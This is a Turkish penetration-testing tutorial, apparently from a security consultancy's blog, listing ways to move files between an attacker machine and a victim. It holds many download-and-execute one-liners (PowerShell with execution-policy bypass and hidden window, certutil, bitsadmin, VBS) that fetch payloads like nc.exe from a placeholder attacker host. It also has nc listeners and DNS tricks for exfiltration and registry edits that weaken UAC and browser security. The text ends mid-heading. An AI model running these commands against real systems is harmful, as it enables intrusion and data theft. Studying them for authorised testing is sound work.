Sızma Testlerinde Dosya Transfer İşlemlerinin Farklı Tekniklerle Gerçekleştirilmesi

0
2404
views
Sızma testleri sırasında kurban makine ile saldırgan makine arasında dosya transfer ihtiyacı olabilmektedir. Bu yazıda sızma testleri sırasında dosya transfer işlemlerinin farklı teknikler ile nasıl gerçekleştirilebileceği incelenecektir.

Pentist: Sızma Testleri ve Bilgi Güvenliği Danışmanlık Hizmetleri

Sızma testleri sırasındaki dosya transfer ihtiyacı bazen kurban makinedeki bir dosyayı saldırganın makinesine göndermek olabileceği gibi, bazen de saldırgan makinesindeki dosyayı kurban makinesine iletmek şeklinde de olabilir. Yani bazı durumlarda kurban sistem sunucu, saldırgan sistemi istemci iken; bazı durumlarda ise saldırgan sistemi sunucu, kurban sistemi de istemci rolünde olabilmektedir. Bu roller ihtiyaca göre değişebilmekte olsa da genellikle saldırgan makinesindeki bir dosyanın (zararlı çalıştırılabilir dosya, hak yükseltmeyi tespit edecek veya sağlayacak bir betik içeriği vb.) indirilmesi şeklinde gerçekleşir. Bazı durumlarda ise, istemci makinesindeki bir dosyanın (kimlik bilgisi, dump dosyası, yapılandırma dosyası vb) indirilmesi şeklinde de gerçekleşir.

Dosya transferleri sırasında alternatif yöntemlere ihtiyaç duyulabilmektedir. Kurban sistemde bazı istemci araçların veya kütüphanelerin bulunmaması/kurulmamış olması, bir takım protokollerin içerik filtreleyiciden engellenmesi,… gibi durumlar farklı yöntemlere başvurulmasına sebep olmaktadır. Dosya transferi sırasında kullanılabilecek en önemli teknikler aşağıdaki başlıklarda sıralanmıştır.

Not: Saldırgan olan taraf için Kali makine kullanıldığı varsayılmıştır. Başka bir işletim sistemi ve dağıtım kullanılması durumunda gerekli paketlerin kurulması gereklidir.

 

A) Sunucu Tarafındaki Servisler Üzerinden Hizmet Verilmesi

Sunucu tarafındaki servisler üzerinden dosyalar transfer edilmek amacı ile hizmete açılabilir. Hizmete açılan bu dosya ters bağlantı sağlayacak “nc.exe”, Meterpreter erişimi sağlayacak “ZararliMeterpreter.elf”, yetki / hak yükseltme zafiyetlerinin tespiti için kullanılabilecek “HakYukselt.sh”, tespit edilen bir zafiyete ait çalıştırılabilir “MS11-080.exe”,… olabilir. Bazı durumlarda içerik filtreleyiciler uzantı veya içerik kontrolü yaptıkları için bu dosyaların uzantılarının veya başlıklarının değiştirilmesi ve sonrasında hizmete açılması gerekebilir.

 

A.1) Web Servisi Üzerinden Hizmet Verilmesi

A.1.1) Apache2

Sunucu tarafında Apache servisi başlatılarak sunucu üzerindeki bir dosya istemci sistemin hizmetine sunulabilir. Varsayılan port TCP/80, varsayılan dizin ise “/var/www” olarak ayarlanmıştır. “/etc/apache2/apache2.conf” dosyasında port ve dizin bilgisi ayarlanabilir.

/etc/init.d/apache2 start

service apache2 start

 

A.1.2) Python SimpleHTTPServer

Sunucu tarafında SimpleHTTPServer isimli Python modülü çalıştırılarak HTTP servisi başlatılabilir. Varsayılan port (komuta port bilgisi verilmezse) TCP/8080, varsayılan dizin ise komutun çalıştırıldığı dizindir. Dizin listeleme özelliği açık olarak gelmektedir.

python -m SimpleHTTPServer 9443

 

A.1.3) Python3 http.server

Python3 yüklü sunucularda http.server modülü çalıştırılarak HTTP servisi başlatılabilir. Temel özellikleri SimpleHTTPServer modülü ile benzerdir.

python3 -m http.server 9443

 

A.1.4) Ruby WEBrick

Ruby kütüphaneleri üzerinden HTTP servisi başlatılabilir.

ruby -rwebrick -e “WEBrick::HTTPServer.new(:Port => 9443, :DocumentRoot => Dir.pwd).start”

 

A.1.5) PHP

PHP kütüphaneleri üzerinden HTTP servisi başlatılabilir. Varsayılan dizin komutun çalıştırıldığı dizindir.

php -S 0.0.0.0:9443

 

A.1.6) Ngnix

Nginx üzerinde WebDAV açılarak PUT metodu ile dosya alınması sağlanabilir.

 

A.2) FTP Servisi Üzerinden Hizmet Verilmesi

A.2.1) Python pyftpdlib

Sunucu tarafında pyftpdlib isimli Python modülün çalıştırılarak FTP servisi başlatılabilir. Varsayılan port (komuta port bilgisi verilmezse) TCP/2121, varsayılan dizin ise komutun çalıştırıldığı dizindir. İstemci sistemin açılan paylaşıma dosya ekleyebilmesi isteniyorsa, yazma seçeneği (“-w”) de eklenmelidir.

pip install pyftpdlib
VEYA
apt-get install python-pyftpdlib

python -m pyftpdlib -p 21 -w

 

A.2.2) MSF ftp

Sunucu tarafında Metasploit Framework içerisinde gelen ftp isimli yardımcı modül çalıştırılarak FTP servisi başlatılabilir.

use auxiliary/server/ftp
set FTPROOT /tmp/Paylasim/
run

 

A.2.3) Pure-FTPd

Eğer yüklü değilse, sunucu tarafında Pure-FTPd kurulmalıdır.

apt-get install pure-ftpd

Kurulum sonrasında FTP servisi yapılandırılabilir.

#!/bin/bash
groupadd ftpgroup
useradd -g ftpgroup -d /dev/null -s /etc ftpuser
pure-pw useradd offsec -u ftpuser -d /tmp/Paylasim
pure-pw mkdb
cd /etc/pure-ftpd/auth/
ln -s ../conf/PureDB 60pdb
mkdir -p /tmp/Paylasim
chown -R ftpuser:ftpgroup /tmp/Paylasim/

Gerekli yapılandırma işlemlerinden sonra da FTP servisi başlatılabilir.

/etc/init.d/pure-ftpd start

 

A.2.4) VSFTPD

Eğer yüklü değilse, sunucu tarafında VSFTPd kurulmalıdır.

apt-get install pure-ftpd

Kurulum sonrasında FTP servisi “/etc/vsftpd.conf” dosyası üzerinden yapılandırılabilir.

local_enable=YES
write_enable=YES
chroot_list_enable=YES
chroot_list_file=/etc/vsftpd.chroot_list
anonymous_enable=YES

Gerekli yapılandırma işlemlerinden sonra da FTP servisi başlatılabilir.

service vsftpd start

 

A.2.4) Twistd

Sunucu tarafında Twistd aracı kullanılarak FTP servisi başlatılabilir.

twistd -n ftp -p 2121 -r /tmp/PAYLASIM

Not: twistd ile SSH, DNS, email gibi servisler de başlatılabilir.

 

A.3) TFTP Servisi Üzerinden Hizmet Verilmesi

A.3.1) ATFTPD (Manuel)

Eğer yüklü değilse, sunucu tarafında ATFTPd kurulmalıdır.

apt-get install atftpd

Kurulum sonrasında TFTP servisi daemon olarak başlatılabilir.

atftpd –daemon –port 69 /tmp/Paylasim/

Not: Hedef sistemin dosyayı indirip indirmediğinin kontrolü için “/var/log/syslog” dosyası içerisindeki kayıtlar incelenebilir.

 

A.3.2) ATFTPD (Servis)

Eğer yüklü değilse, sunucu tarafında ATFTPd kurulmalıdır.

apt-get install atftpd

Kurulum sonrasında TFTP servisi “/etc/default/atftpd” dosyası üzerinden yapılandırılabilir.

USE_INETD=false
OPTIONS=”–tftpd-timeout 300 –retry-timeout 5 –port 69 –mcast-port 1758 –mcast-addr 239.239.239.0-255 –mcast-ttl 1 –maxthread 100 –verbose=5 /tmp/Paylasim/”

Gerekli yapılandırma işlemlerinden sonra da TFTP servisi başlatılabilir.

service atftp start

 

A.3.3) MSF tftp

Sunucu tarafında Metasploit Framework içerisinde gelen tftp isimli yardımcı modül çalıştırılarak TFTP servisi başlatılabilir.

use auxiliary/server/tftp
set TFTPROOT /tmp/Paylasim/
run

 

A.4) SSH Servisi Üzerinden Hizmet Verilmesi

A.4.1) SSHD

Sunucu tarafında SSHD servisi başlatılarak sunucu üzerindeki bir dosya istemci sistemin hizmetine sunulabilir. Varsayılan port TCP/22, varsayılan dizin ise “~” (kullanıcı ev dizini) olarak ayarlanmıştır. “/etc/ssh/sshd_config” dosyasında port bilgisi ve kimlik doğrulama yöntemi (parola, genel anahtar vb.) ayarlanabilir.

/etc/init.d/ssh start

service ssh start

 

A.5) SAMBA Üzerinden Hizmet Verilmesi

A.5.1)  SMBD

Sunucu tarafında SMBD servisi başlatılarak sunucu üzerindeki bir dosya istemci sistemin hizmetine sunulabilir. Varsayılan port TCP/139 ve TCP/445 olarak ayarlanmıştır. “/etc/samba/smb.conf” dosyasında dizin bilgisi ayarlanabilir.

[HerkeseAcikPaylasim] comment = Herkes icin okuma ve yazma izni verilen paylasim
path = /root/Paylasim
browseable = yes
guest ok = yes
read only = yes
public = yes
writable = yes

Paylaşıma açılan dizin oluşturulup yetkilendirmesi gerçekleştirilir.

mkdir -p /root/Paylasim/
chmod 777 /root/Paylasim/

Gerekli yapılandırma işlemlerinden sonra da SAMBA servisi başlatılabilir.

service samba start

/etc/init.d/smbd start

 

A.5.2) Impacket smbserver

Sunucu tarafında smbserver isimli Python ile yazılmış Impacket sınıfı çalıştırılarak SAMBA servisi başlatılabilir. Varsayılan port TCP/445, varsayılan dizin ise komutun çalıştırıldığı dizindir.

python /usr/share/doc/python-impacket/examples/smbserver.py PAYLASIM /tmp/

 

A.6) SMB Üzerinden Hizmet Verilmesi

A.6.1) Microsoft-DS

Windows sunucu tarafında Microsoft-DS servisi başlatılarak sunucu üzerindeki bir dosya istemci sistemin hizmetine sunulabilir. Varsayılan port TCP/139 ve TCP/445 olarak ayarlanmıştır.

net share PAYLASIM=C:\Users\PaylasimDizini /GRANT:Everyone,FULL

Ayrıca paylaşım sunabilmek için UAC ayarında değişiklik yapılma ihtiyacı olabilir.

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1

 

A.7) WebDAV Üzerinden Hizmet Verilmesi

A.7.1) Python WsgiDAV && Cheroot

Sunucu tarafında WsgiDAV ve Cheroot isimli Python kütüphaneleri çalıştırılarak WebDAV servisi başlatılabilir. Varsayılan port (komuta port bilgisi verilmezse) TCP/8080, varsayılan dizin ise komutun çalıştırıldığı dizindir.

pip install wsgidav cheroot
wsgidav –host=0.0.0.0 –port=9443 –root=/tmp/PAYLASIM

 

A.8) Komut Satırı Üzerinden Metin Kopyalama

Sunucu tarafındaki bir dosya form değiştirildikten (örneğin base64 ile kodlandıktan) sonra, yeni formdaki hali kopyalanıp hedef istemcinin komut satırına yapıştırılarak eski formuna döndürüldükten (örneğin base64 ile kodu çözüldükten) sonra hedef sistemde bu dosya aşağıda belirtilen yöntemler ile transfer edilebilir. Bu transfer sonrasında dosyanın boyutu ve özellikle de özet değeri “md5sum” gibi bir araçla hesaplanıp, dosya bütünlüğünün bozulup bozulmadığı kontrol edilmelidir.

A.8.1) Base64 Kodlama

Sunucu tarafında Base64 aracı ile Base64 formatına çevrilmiş (Base64 encode) olan dosya içeriği hedef işletim sistemin komut satırına yapıştırılabilir.

base64 GonderilecekDosya.txt > KopyalanacakDosya.b64.txt

Bu değer, hedef istemci sistemde daha sonra geri kodlanarak (Base64 decode) yeniden oluşturulabilir.

cat KopyalanacakDosya.b64.txt | base64 -d

 

A.8.2) XXD (HEX Kodlama)

Sunucu tarafında XXD aracı ile HEX formatına çevrilmiş olan dosya içeriği hedef işletim sistemin komut satırına yapıştırılabilir.

xxd -p GonderilecekDosya.txt KopyalanacakDosya.hex.txt

Bu değer, hedef istemci sistemde daha sonra geri kodlanarak (HEX –> ASCII) yeniden oluşturulabilir.

 

A.8.3) debug.exe (batch) && exe2bat

32 bit işletim sistemine sahip Windows 7 ve öncesindeki işletim sistemlerinde sunucu tarafındaki bir dosya, 64 KB boyutundan daha küçük boyutta olacak şekilde sıkıştırılır.

upx -9 GonderilecekDosya.exe GonderilecekDosya-UPX.exe

Sıkıştırılmış bu dosya ASCII formatına çevrilebilir.

wine /usr/share/windows-binaries/exe2bat.exe GonderilecekDosya-UPX.exe KopyalanacakDosya.txt

Not: Bu dosya içerisindeki “debug.exe” aracı Windows 7 ve öncesindeki 32 bitlik işletim sistemlerinde bulunduğu için diğer sürümlerde çalışmayacaktır.

 

A.8.4) debug.exe (batch) && exe2hex

“exe2bat” aracının 64 KB boyut kısıtı olmadan da benzer işlemi uygulamak için exe2hex Python betiği kullanılabilir.

https://github.com/rkmylo/exe2hex/blob/master/exe2hex.py

Bu Python betiği ile aktarılmak istenen dosya ASCII formatına (sıkıştırılmaya gerek kalmadan) BATCH komutu olarak çevrilebilir.

python exe2hex.py -x GonderilecekDosya.exe -b KopyalanacakDosya-BAT.txt -cc

 

A.8.5) ASCII Kodlama (Powershell)

“exe2bat” aracının 64 KB boyut kısıtı, 32 bit işletim sistemi kısıtı ve “debug.exe” aracının bulunma kısıtı olmadan da benzer işlemi uygulamak için exe2hex Python betiği kullanılabilir.

https://github.com/rkmylo/exe2hex/blob/master/exe2hex.py

Bu Python betiği ile aktarılmak istenen dosya ASCII formatına (sıkıştırılmaya gerek kalmadan) Powershell komutu olarak çevrilebilir.

python exe2hex.py -x GonderilecekDosya.exe -p KopyalanacakDosya-PS.txt -cc

 

A.9) DNS Üzerinden Dosya Transferi

A.9.1) DNS Servisi

Bind veya Microsoft DNS hizmeti verilen sunucu tarafında DNS kayıtları kullanılarak hedef sisteme dosya transferi gerçekleştirilebilir. En çok tavsiye edilen kayıt da TXT kayıtlarıdır.

 

A.9.2) DNS Trafiğini Dinleme

DNS servisi başlatmadan gelen DNS trafiğini dinleyerek veri transferi gerçekleştirilebilir. Bu amaçla saldırgan sisteminde, istemci sistemden gelen UDP 53 portu kaydedilir.

tcpdump -w /tmp/GelenSorgular.pcap -s0 ‘port 53 and host Istemci_Kurban_IP’

İstemci tarafından sorgular tamamlandıktan sonra, kaydedilen bu dosya içerisinden alt etki alanları bir dosyaya kaydedilir.

tcpdump -r /tmp/GelenSorgular.pcap -n | grep BirEtkiAlani.com | cut -f9 -d ‘ ‘ | cut -f1 -d ‘.’ | uniq > /tmp/AltEkiAlanlari.txt

Eğer gelen ifadeler kodlanmış olarak iletilmişse, orijinaline geri çevrilir.

xxd -r -p /tmp/AltEtkiAlanlari.txt /tmp/Sonuc.txt

 

A.10) TCP Üzerinden Dosya Transferi

A.10.1) NC

nc aracı ile TCP soketi açılarak veri transferi gerçekleştirilebilir. Bu amaçla saldırgan sisteminde, istemci sistemden gelecek olan port dinlemeye alınır.

nc -nlvp 9443 > /tmp/GelenDosya.txt

Eğer dosya boyutu çok büyük ve sıkıştırılmış dosya iletiliyorsa, bu dosya dışarıya çıkarılabilir.

nc -nlvp 9443 | tar -xf –

 

 

B) İstemci Tarafındaki Bileşenler İle Dosyaların İndirilmesi

İstemci tarafındaki araçlar, kütüphaneler, bileşenler kullanılarak sunucu tarafındaki dosyaların indirilebilir.

 

B.1) HTTP Servisi Üzerinden İndirilmesi

B.1.1) Curl

*NIX istemcilerdeki curl aracı ile HTTP sunucusundaki dosya, istemci diskine indirilebilir.

curl http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt -o /tmp/KaydedilenDosya.txt

 

B.1.2) Wget

*NIX istemcilerdeki wget aracı ile HTTP sunucusundaki dosya, istemci diskine indirilebilir.

wget http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt -O /tmp/KaydedilenDosya.txt

 

B.1.3) Perl LWP

İçeriği aşağıdaki gibi hazırlanan “indir.pl” isimli Perl betiği ile HTTP sunucusundaki dosya, istemci diskine indirilebilir.

#!/usr/bin/perl
use LWP::Simple;
getstore(“http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt”, “/tmp/KaydedilenDosya.txt”);

Bu betik dosyası çalıştırıldığında dosya iner.

perl indir.pl

Bu işlemi tek satırda gerçekleştirmek için aşağıdaki gibi bir komut kullanılabilir.

perl -e ‘use LWP::Simple; getstore(“http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt”, “/tmp/KaydedilenDosya.txt”);’

 

B.1.4) Python URLLib2

İçeriği aşağıdaki gibi hazırlanan “indir.py” isimli Python betiği ile HTTP sunucusundaki dosya, istemci diskine indirilebilir.

#!/usr/bin/python
import urllib2
u = urllib2.urlopen(‘http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt’)
f = open(‘/tmp/KaydedilenDosya.txt’, ‘w’)
f.write(u.read())
f.close()

Bu betik dosyası çalıştırıldığında dosya iner.

python indir.py

Bu işlemi tek satırda gerçekleştirmek için aşağıdaki gibi bir komut kullanılabilir.

python2 -c “import urllib2; u = urllib2.urlopen(‘http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt’); f = open(‘/tmp/KaydedilenDosya.txt’, ‘w’); f.write(u.read()); f.close()”

Not: URLLib2 kütüphanesi yerinme URLLib kütüphanesi de kullanılabilir.

python2 -c “import urllib; urllib.urlretrieve (‘http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt’, r’/tmp/KaydedilenDosya.txt’)”

 

B.1.5) Ruby Net::HTTP

İçeriği aşağıdaki gibi hazırlanan “indir.rb” isimli Ruby betiği ile HTTP sunucusundaki dosya, istemci diskine indirilebilir.

#!/usr/bin/ruby
require ‘net/http’
Net::HTTP.start(“Sunucu_Saldirgan_IP”,”9443″) { |http|
resp = http.get(“/Dizin/IndirilecekDosya.txt”)
open(“/tmp/KaydedilenDosya.txt”, “wb”) { |file|
file.write(resp.body)
}
}

Bu betik dosyası çalıştırıldığında dosya iner.

indir.rb

Bu işlemi tek satırda gerçekleştirmek için aşağıdaki gibi bir komut kullanılabilir.

ruby -e “require’net/http’;Net::HTTP.start(‘Sunucu_Saldirgan_IP’,’9443′){|http|resp=http.get(‘/Dizin/IndirilecekDosya.txt’);open(‘/tmp/KaydedilenDosya.txt’,’wb’){|file|file.write(resp.body)}}”

 

B.1.6) PHP

İçeriği aşağıdaki gibi hazırlanan “indir.php” isimli PHP betiği ile HTTP sunucusundaki dosya, istemci diskine indirilebilir.

#!/usr/bin/php
<?php
$data = @file(“http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt”);
$lf = “/tmp/KaydedilenDosya.txt”;
$fh = fopen($lf, ‘w’);
fwrite($fh, $data[0]);
fclose($fh);
?>

Bu betik dosyası çalıştırıldığında dosya iner.

php indir.php

Bu işlemi tek satırda gerçekleştirmek için aşağıdaki gibi bir komut kullanılabilir.

php -r ‘error_reporting(E_ALL ^ E_NOTICE);file_put_contents(“/tmp/KaydedilenDosya.txt”, fopen(“http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt”, ‘r’));’

Bir diğer yöntem de aşağıdaki gibidir.

php -r ‘function d($u,$o){$c=file_get_contents($u);file_put_contents($o,$c);}d(“http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt”,”/tmp/KaydedilenDosya.txt”);’

 

B.1.7) Visual Basic Script (Windows İstemci)

İçeriği aşağıdaki gibi hazırlanan “indir.vbs” isimli VBS betiği ile HTTP sunucusundaki dosya, istemci diskine indirilebilir.

HTTP # İstemci – Windows (Visual Basic Script):
strUrl = WScript.Arguments.Item(0)
StrFile = WScript.Arguments.Item(1)
Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0
Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0
Const HTTPREQUEST_PROXYSETTING_DIRECT = 1
Const HTTPREQUEST_PROXYSETTING_PROXY = 2
Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts
Err.Clear
Set http = Nothing
Set http = CreateObject(“WinHttp.WinHttpRequest.5.1”)
If http Is Nothing Then Set http = CreateObject(“WinHttp.WinHttpRequest”)
If http Is Nothing Then Set http = CreateObject(“MSXML2.ServerXMLHTTP”)
If http Is Nothing Then Set http = CreateObject(“Microsoft.XMLHTTP”)
http.Open “GET”,strURL,False
http.Send
varByteArray = http.ResponseBody
Set http = Nothing
Set fs = CreateObject(“Scripting.FileSystemObject”) >> WindowsWindowsWget.vbs
Set ts = fs.CreateTextFile(StrFile,True)
strData = “”
strBuffer = “”
For lngCounter = 0 to UBound(varByteArray)
ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1)))
Next
ts.Close

Bu betik dosyası çalıştırıldığında dosya iner.

cscript indir.vbs http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt %TEMP%\KaydedilenDosya.exe

 

B.1.8) Powershell (Windows İstemci)

İçeriği aşağıdaki gibi hazırlanan “indir.ps1” isimli Powershell betiği ile HTTP sunucusundaki dosya, istemci diskine indirilebilir.

echo $storageDir = $pwd
echo $webclient = New-Object System.Net.WebClient
echo $url = “http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt”
echo $file = “%TEMP%\KaydedilenDosya.exe”
echo $webclient.DownloadFile($url,$file)

Bu betik dosyası çalıştırıldığında dosya iner.

powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File indir.ps1

 

İndirilen dosyayı çalıştırmak için aşağıdaki Powershell komutlarından birisi kullanılabilir.

Start-Process ‘%TEMP%\KaydedilenDosya.exe’;

(New-Object -com Shell.Application).ShellExecute(‘%TEMP%\KaydedilenDosya.exe’);

 

Bu işlemi tek satırda gerçekleştirmek için aşağıdaki Powershell komutlarından birisi kullanılabilir.

powershell -c “(New-Object System.Net.WebClient).DownloadFile(‘http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt’,’%TEMP%\KaydedilenDosya.exe’)”

powershell.exe -noninteractive -WindowStyle Hidden -ExecutionPolicy Bypass -NoLogo -NoProfile (new-object System.Net.WebClient).DownloadFile(‘http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt’,’%TEMP%\KaydedilenDosya.exe’)

powershell.exe -noprofile -noninteractive -command “[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true}; $source=”””http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt”””; $destination=”””%TEMP%\KaydedilenDosya.exe”””; $http=new-object System.Net.WebClient; $response=$http.DownloadFile($source,$destination);”

(for %t in (“$storageDir = $pwd” “$webclient = New-Object System.Net.WebClient” “$url = “http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt”” “$file = “%TEMP%\KaydedilenDosya.exe”” “$webclient.DownloadFile($url,$file)”) do @echo %~t) > indir.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File indir.ps1

Powershell 3.0 ile dosya indirmek için aşağıdaki komut kullanılabilir.

Invoke-WebRequest “http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt” -OutFile “%TEMP%\KaydedilenDosya.exe”

WebDAV açık bir sunucuya dosya atılabilir.

Invoke-RestMethod -Method PUT -Uri “http://Sunucu_Saldirgan_IP:9443/KaydedilecekDosya.exe” -Body GonderilecekDosya.exe

 

B.1.9) Bitsadmin (Windows İstemci)

Windows istemcilerdeki Bitsadmin aracı ile HTTP sunucusundaki dosya, istemci diskine indirilebilir.

bitsadmin /transfer GorevAdi /download /priority normal http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt %TEMP%\KaydedilenDosya.exe

Not: Web sunucunun range protokol başlığını desteklemesi gerekir.

 

B.1.10) Certutil (Windows İstemci)

Windows istemcilerdeki Certutil aracı ile HTTP sunucusundaki dosya, istemci diskine indirilebilir.

certutil -urlcache -split -f “http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt” %TEMP%\KaydedilenDosya.exe

 

B.1.11) Internet Explorer (BATCH)

Windows istemcilerdeki Internet Explorer uygulaması start komutu ile HTTP sunucusundaki dosya, istemci diskine indirilebilir.

start iexplore.exe http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt

İndirilen yer: C:\doc­uments and settin­gs­\KULLANICIADI\local settin­gs­\tem­porary internet files

Not: Internet Explorer üzerinden dosya indirmek için IE ayarlarında aşağıdaki değişikliklerin yapılması gerekebilir.

reg ADD “HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname” /v “:Range” /d “Sunucu_Saldirgan_IP”
reg ADD “HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Ranges\randomname” /v “*” /t REG_DWORD /d 1
reg ADD “HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1” /v “1001” /t REG_DWORD /d 0
reg ADD “HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1” /v “1004” /t REG_DWORD /d 0
reg ADD “HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1” /v “1200” /t REG_DWORD /d 0
reg ADD “HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1” /v “1201” /t REG_DWORD /d 0
reg ADD “HKLM\SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1” /v “1208” /t REG_DWORD /d 0

 

B.1.11) Internet Explorer (VBS)

Windows istemcilerdeki Internet Explorer uygulaması VBS betiği ile HTTP sunucusundaki dosya, istemci diskine indirilebilir.

echo CreateObject(“Wscript.Shell”).Run “iexplore.exe -new http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt”, 0, False > indir.vbs

Bu betik dosyası çalıştırıldığında dosya iner.

wscript indir.vbs

 

B.2) FTP Servisi Üzerinden İndirilmesi

B.2.1) FTP

*NIX istemcilerdeki ftp aracı ile FTP sunucusundaki dosya, istemci diskine indirilebilir.

ftp HedefIP
user anonymous
password Parola123
binary
get IndirilecekDosya.txt
put YuklenecekDosya.txt
bye

Not: Dosya yüklenecekse “binary” moda geçilmesi gereklidir.

 

B.2.2) Wget

*NIX istemcilerdeki wget aracı ile FTP sunucusundaki bir dizindeki birden fazla dosya, istemci diskine indirilebilir.

wget -r -nH -nc ftp://anonymous:BirParola@Sunucu_Saldirgan_IP//Dizin

 

B.2.3) FTP (Windows İstemci)

İçeriği aşağıdaki gibi hazırlanan “indir.txt” isimli dosya, Windows istemcilerdeki ftp aracına verilerek FTP sunucusundaki dosya, istemci diskine indirilebilir.

open Sunucu_Saldirgan_IP
USER anonymous
ftp
bin
GET IndirilecekDosya.txt
bye

ftp aracına bu dosya verilerek çalıştırıldığında dosya iner.

ftp -v -n -s:indir.txt

Bu işlemi tek satırda gerçekleştirmek için aşağıdaki bir komutlardan birisi kullanılabilir.

set r=^&echo:&&(echo open Sunucu_Saldirgan_IP%r%USER anonymous%r%ftp%r%bin%r%GET IndirilecekDosya.txt%r%bye) > indir.txt&&ftp -s:indir.txt

(for %t in (“open Sunucu_Saldirgan_IP” “USER anonymous” ftp bin “GET nc.exe” bye) do @echo %~t) > indir.txt&&ftp -s:indir.txt

 

B.2.4) Diğer Araçlar

Windows istemcilerde Filezilla Client, Free FTP, Winscp gibi araçlar kullanılarak FTP sunucusundaki dosya, istemci diskine indirilebilir.

 

B.3) TFTP Servisi Üzerinden İndirilmesi

B.3.1) Tftp

*NIX istemcilerdeki tftp aracı ile TFTP sunucusundaki dosya, istemci diskine indirilebilir.

tftp Sunucu_Saldirgan_IP
get IndirilecekDosya.txt
quit

Bu işlemi tek satırda gerçekleştirmek için aşağıdaki komut kullanılabilir.

tftp Sunucu_Saldirgan_IP <<< “get IndirilecekDosya.txt KaydedilenDosya.elf”

 

B.3.2) tftp (Windows İstemci)

Windows istemcilerdeki tftp aracı ile TFTP sunucusundaki dosya, istemci diskine indirilebilir.

TFTP istemci paketi yüklenmemişse, paketin yüklenmesi gereklidir.

pkgmgr /iu:”TFTP”

Sonrasında dosya indirilebilir.

tftp -i Sunucu_Saldirgan_IP GET IndirilecekDosya.txt

Veya dosya yüklenebilir.

tftp -i Sunucu_Saldirgan_IP PUT IletilecekDosya.txt

 

 

B.4) SSH Servisi Üzerinden İndirilmesi

B.4.1) SCP

*NIX istemcilerdeki scp aracı ile SSH sunucusundaki dosya, istemci diskine indirilebilir.

scp /tmp/KaydedilenDosya.txt HesapAdi@Sunucu_Saldirgan_IP:/tmp/IndirilecekDosya.txt -P 2222

Bir dizinin tamamı indirilmek isteniyorsa, “-r” parametresi kullanılabilir.

scp -r /tmp/KaydedilenDizin HesapAdi@Sunucu_Saldirgan_IP:tmp/IndirilecekDizin -P 2222

 

Not: Aynı işlem; “scp” aracı yerine, “pscp” aracı ile aynı parametreler kullanılarak da gerçekleştirilebilirdi.

 

B.4.2) SSH

*NIX istemcilerdeki ssh aracı ile SSH sunucusundaki dosya, istemci diskine indirilebilir.

ssh HesapAdi@Sunucu_Saldirgan_IP -p 2222 “cat IndirilecekDosya.txt” > /tmp/KaydedilenDosya.txt

 

B.5) SAMBA Servisi Üzerinden İndirilmesi

B.5.1) Smbclient

*NIX istemcilerdeki smbclient aracı ile SAMBA sunucusundaki dosya, istemci diskine indirilebilir.

smbclient //Sunucu_Saldirgan_IP/PAYLASIM/IndirilecekDosya.txt

 

B.6) SMB Servisi Üzerinden İndirilmesi

B.6.1) Net

Windows istemcilerdeki net aracı ile SMB sunucusundaki dosya, istemci diskine indirilebilir.

net use K: \\Sunucu_Saldirgan_IP\PAYLASIM /user:WORKGROUP\HesapAdi ParolaDegeri

B.6.2) Smbclient

*NIX istemcilerdeki smbclient aracı ile SMB sunucusundaki dosya, istemci diskine indirilebilir.

smbclient -L Sunucu_Saldirgan_IP -U HesapAdi%ParolaDegeri
smbclient \\\\Sunucu_Saldirgan_IP\\PAYLASIM -U HesapAdi%ParolaDegeri

 

B.6.3) Mount

*NIX istemcilerdeki mount aracı ile SMB sunucusundaki dosya, istemci diskine indirilebilir.

mount -t cifs //Sunucu_Saldirgan_IP/PAYLASIM -o username=HesapAdi,password=ParolaDegeri,domain=WORKGROUP /tmp/KaydedilecekDizin

 

B.6.4) Notepad

Notepad aracına UNC Path girilerek SMB sunucusundaki dosya, istemci tarafında okunup, kaydedilebilir.

 

B.7) WebDAV Servisi Üzerinden İndirilmesi

B.7.1) Net

Windows istemcilerdeki net aracı ile WebDAV sunucusundaki dosya, istemci diskine indirilebilir.

net use * http://Sunucu_Saldirgan_IP:9443/IndirilecekDosya.txt

 

B.8) Komut Satırı Üzerinden

